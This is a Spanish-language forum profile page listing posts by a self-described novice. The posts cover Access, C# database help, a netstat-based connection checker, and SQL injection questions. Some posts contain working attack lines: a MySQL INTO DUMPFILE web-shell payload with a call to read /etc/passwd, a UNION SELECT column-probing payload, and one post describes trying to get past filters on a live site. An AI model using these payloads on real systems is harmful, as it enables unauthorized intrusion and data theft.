Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - sqln00b

#2
Buenas, medio tarde, pero como soy nuevo estoy perdonado. :P Hay una cosa que no entiendo.

¿Hablas de "filtrar" un tabla para obtener atributos? :huh:

Soy muy lerdo, vamos a ver si lo entiendo, tu tienes una tabla (por ejemplo "empleados") y tienes varias columnas (ej: nombre, apellido, provincia) y en cada una de ellas tienes filas con valores (ej: Pablo, Picasso, Málaga). ¿Lo que quieres es obtener las filas que tengan el atributo o valor "provincia"? ¿O en realidad lo que ocurre es que tienes varias tablas con diferentes atributos y quieres seleccionar todas las tablas que tengan un atributo llamado "provincias"? :¬¬

Lo primero, debes aprender sobre Access.
Lo segundo es entender la estructura para comunicarse con una base de datos.
Lo tercero es entender cómo se trabaja las consultas en C#.
PD: El orden de los factores no altera el producto. Sólo complica la curva del aprendizaje. :xD

Te recomiendo "Lo tercero [...]" por el hecho que tanto Access como SQL debes saber si estas trabajando con bases de datos. Lo único es manejar los recursos de System.Data.OleDb;

¡Suerte!
#3
Nivel Web / Problema SQLI - Error 404
20 Julio 2015, 08:31 AM
Buenas, espero que alguien pueda arrojar luz sobre mi dilema. Trataré de explicar lo mejor que pueda...

Resulta ser que encontré un script en PHP, por supuesto lo descargué y jugé. Encontré varios errores (En localhost conseguí inyectar una shell)... En una de los tantos errores que encontré. Fue: La posibilidad de inyectar parámetros SQL a través de el buscador.

El programador utilizó htmlentitles() pero se olvidó de su mejor amigo ENT_QUOTES. La cuestión es que si bien pude perfectamente conseguir acceso a nivel localhost, llevé el test a la "vida real" y me pasó algo "raro", cuando trato de inyectar las secuencias "SELECT" o "FROM" directamente la página me da un Error 404.

Busqué y encontré que podría ser que el parámetro se encontrase como variable de un directorio o un recurso. (O eso es lo que entendí). Pero el script no delimita ni bloquea las consultas UNION. Cabe rescatar que he intentado ofuscar las sentencias y no pude lograr que se ejecutara. Además que tampoco existe ningún recurso con "UNION" (es decir no existe ningún post o artículo relacionado).

Mi pregunta es: ¿Qué se puede hacer para remediar la situación? Intenté con SQL Map pero me larga warnings respecto a que podría no ser vulnerable. (Lo que no tiene lógica porque conseguí obtener a través de SQL Blind el @@datadir) Al no poder utilizar SELECT me limita. Otra cosa el servidor usa MariaDB.

Desde ya, muchas gracias. Espero que alguien me pueda ayudar. ;D
#4
Nivel Web / Re: duda inyeccion sql
20 Julio 2015, 08:07 AM
@colcrt: No quiero revivir cosas viejas, pero por ahí a alguno le sirve, más si es despistado como alguien que conozco. :rolleyes:

1) Verifica que la información no esté cifrada/ofuscada (MD5, SHA, Base64, Etc...)

2) Verifica que corresponada consulta -> base de datos. (Es decir si tu input hace una consulta a base de datos (a) y tú tienes el usuario y contraseña que se encuentra en la base (b) entonces no hay forma, excepo que los datos se encuentren en ambas)

3) Que no exista algún punto de control que te limite el acceso. Ej: Comparar la IP con X-FORWARDED-FOR y que no coincidieran.

4) Verificar los datos introducidos, muchas veces si se copia o se pega por ahí puede faltar un caracter o ir acompañada de un espacio. <- Es una estupidez, pero a mi me ha ocurrido que por ahí fallo en escribir alguna contraseña que uso todos los días... :-[ sí ya lo sé doy vergüenza ajena...
#5
Bugs y Exploits / Re: ayuda con este xploit
20 Julio 2015, 07:36 AM
Buenas, como puedes ver por mi nick también soy un script kiddie... En fin, en cualquier caso te recomiendo que te dirijas para corregir tu diccionario respecto a exploit/xploit.

No tiene nada de malo, pero es bueno entender las diferencias. En todo caso no se trata de CMD (o no de algún comando predeterminado de windows)

Se trata de Metasploit, Es un framework para detectar y explotar vulnerabilidades. Es una parte clave para las "auditorías" a la hora de inyectar un payload (código que genera un error en una aplicación) y ejecutar el shell code. (sentencias de comandos que se ejecutará para dar acceso al "investigador" en la máquina a ser auditorada) :silbar:

Te recomiendo que te veas algún tutorial respecto a cómo se maneja. (Ver)

Respecto al resto, son comandos que sirven para identificar o crear las funciones del mismo exploit. Es decir LHost para (Local Host o la computadora que efectuará la auditoría) y RHost (Remote Host o computadora que será el objetivo de esa auditoría)

PD: Si he metido la pata con la explicación corrijan, que la única forma de matar la ignorancia es compartiendo el conocimiento. :P
#6
@Elektro tiene razón, es la mejor forma, pero... siempre hay formas y formas, a mi me gusta lo rápido. (Quizás no lo más limpio y lo mejor...) :rolleyes:

Te tiro una idea, utiliza el netstat y ejecutalo desde un proceso.

Código (C#) [Seleccionar]

public static void Main(string[] args)
{
Console.WriteLine("Test de Conexion.");

// ######### VARS #########
// EN MI CASO USO FIREFOX.
string navegador = "[firefox.exe]";
// MISTERIOSO DOMINIO DE GOOGLE... LULZ, USO HTTP PERO DEBERÍA USARSE HTTPS.
string servicio_web = ".1e100.net:http";
// ######### VARS #########

// CREO EL PROCESO Y LE PASO LOS ARGUMENTOS.
System.Diagnostics.Process procesoCMD = new System.Diagnostics.Process();
procesoCMD.StartInfo.FileName = "netstat.exe";
procesoCMD.StartInfo.Arguments = "-b";
procesoCMD.StartInfo.UseShellExecute = false;
procesoCMD.StartInfo.RedirectStandardOutput = true;
procesoCMD.StartInfo.RedirectStandardError = true;
procesoCMD.StartInfo.RedirectStandardInput = true;

// OBTENGO LA RESPUESTA DEL NETSTAT.
procesoCMD.Start();
procesoCMD.BeginErrorReadLine();
string respuesta = procesoCMD.StandardOutput.ReadToEnd();
procesoCMD.WaitForExit();

// COMPRUEBO SI ESTÁ EL NAVEGADOR.
if(respuesta.Contains(navegador))
{
Console.WriteLine("Hay una conexión de navegador.");

// CONFUSO, PERO SACO LÍNEAS PARA COMPROBAR SI CORRESPONDE A GOOGLE.
string[] lineas = System.Text.RegularExpressions.Regex.Split(respuesta, Environment.NewLine);

// SALTO SI YA SÉ QUE ESTÁ EN GOOGLE.
bool servicio_web_existe = false;

for (int linea = 0; linea < lineas.Length; linea++) {

// ##### POSIBLE BUG, SE COMPRUEBA SI EXISTE CONEXIÓN #####
// ##### HACIA EL DOMINIO DE GOOGLE PERO NO           #####
// ##### SI EL PROCESO CORRESPONDE AL NAVEGADOR.      #####

if(lineas[linea].Contains(servicio_web))
{
Console.WriteLine("¡Y está conectada a google!");
servicio_web_existe = true;
break;
}

}
// COMPRUEBO SI HUBO CONEXIÓN, EN TODO CASO REPORTO NEGATIVO
if(!servicio_web_existe)
{
Console.WriteLine("¡Pero no está conectado a google!");
}
}
else
{
Console.WriteLine("No hay conexión de navegador.");
}

// HAY QUE CUIDAR EL HEAP, MÁS CUANDO UNO NO TIENE UN SUPER PC...
procesoCMD.Dispose();

Console.ReadKey();
}


Hay que tener en cuenta que sólo ve mientras esté navegando, es decir si se cierra la conexion o hay un time-out se borra. No es lo mejor, pero es lo práctico para salir del apuro. :xD

¡¡Suerte!!
#7
Buenas, vengo a preguntar. Según mi poca experiencia Shell Injection se refiere a subir una shell vía SQL ¿No?

Es decir ¿En MySQL el comando sería algo así?

SELECT '<?php system($_GET['cmd']) ?>' INTO DUMPFILE '/../../../shell.php'

Una vez que creé el archivo en el servidor (evidentemente en un lugar accesible) puedo llamar directamente a la shell.

localhost/shell?cmd=cat /etc/passwd

¿O es otro tipo de ataque? :-[
#8
Nivel Web / Re: [DUDA] Inyecciones SQL con '
19 Julio 2015, 06:42 AM
Vengo a preguntas nada más, al finalizar un comentario en MySQL ¿no se debe hacer?

%20--%20
/*
#



¿En ésa url se podría poner un UNION hasta que devolviera el valor de las cantidad de columnas?

1' UNION ALL SELECT 1,2,3,4,5,[...]%20--%20

Gracias ;D